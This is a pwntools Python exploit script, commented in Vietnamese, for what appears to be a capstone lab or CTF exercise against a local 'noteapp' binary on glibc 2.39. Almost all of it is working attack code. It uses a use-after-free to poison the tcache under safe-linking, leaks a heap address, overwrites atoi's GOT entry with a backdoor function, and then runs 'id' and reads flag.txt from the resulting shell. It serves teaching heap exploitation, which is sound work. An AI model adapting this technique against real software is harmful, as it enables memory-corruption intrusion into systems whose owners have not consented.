#!/usr/bin/env python3
# Lab 9.4 capstone: UAF -> tcache poisoning (safe-linking) -> ghi de atoi@got = backdoor -> shell.
# glibc 2.39, ASLR BAT. Khong hardcode offset chunk: safe-linking chi can heap_base>>12.
from pwn import *
context.binary = elf = ELF('./noteapp')
context.log_level = 'info'

io = process('./noteapp')
def add(i, s):   io.sendafter(b'> ', b'add');  io.sendlineafter(b'idx> ', str(i).encode()); io.sendlineafter(b'size> ', str(s).encode())
def dele(i):     io.sendafter(b'> ', b'del');  io.sendlineafter(b'idx> ', str(i).encode())
def edit(i, d):  io.sendafter(b'> ', b'edit'); io.sendlineafter(b'idx> ', str(i).encode()); io.sendafter(b'data> ', d)
def view(i):     io.sendafter(b'> ', b'view'); io.sendlineafter(b'idx> ', str(i).encode()); return io.recv(8)

SZ = 0x30
add(0, SZ); add(1, SZ)                 # 2 note cung bin 0x40
dele(0); dele(1)                       # tcache[0x40]: count=2, head=note1

# note0 (phan tu thu 2) co fd = PROTECT(note0, NULL) = note0>>12 = heap_base>>12
hi = u64(view(0).ljust(8, b'\x00'))
log.info('heap_base = %#x', hi << 12)

target = elf.got['atoi']               # 0x404050, da can 16 (aligned_OK)
assert target % 16 == 0

# note1 (head) cung trang voi note0 -> note1>>12 == hi. Poison fd cua note1.
edit(1, p64(hi ^ target))              # note1.fd = PROTECT(note1, atoi@got)
add(2, SZ)                             # -> note1
add(3, SZ)                             # -> atoi@got (notes[3] = &atoi@got)
edit(3, p64(elf.sym['backdoor']))      # *atoi@got = backdoor
log.info('atoi@got(%#x) <- backdoor(%#x)', target, elf.sym['backdoor'])

# Trigger: bat dau 'add', khi hoi idx> thi so nhap vao di qua atoi() -> backdoor()
io.sendafter(b'> ', b'add')
io.sendlineafter(b'idx> ', b'0')

io.sendline(b'echo ===PWNED_9_4===; id; cat flag.txt; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and 'PTIT{' in out and '===PWNED_9_4===' in out, 'FAIL'
log.success('capstone OK: GOT overwrite (atoi->backdoor) -> shell -> flag')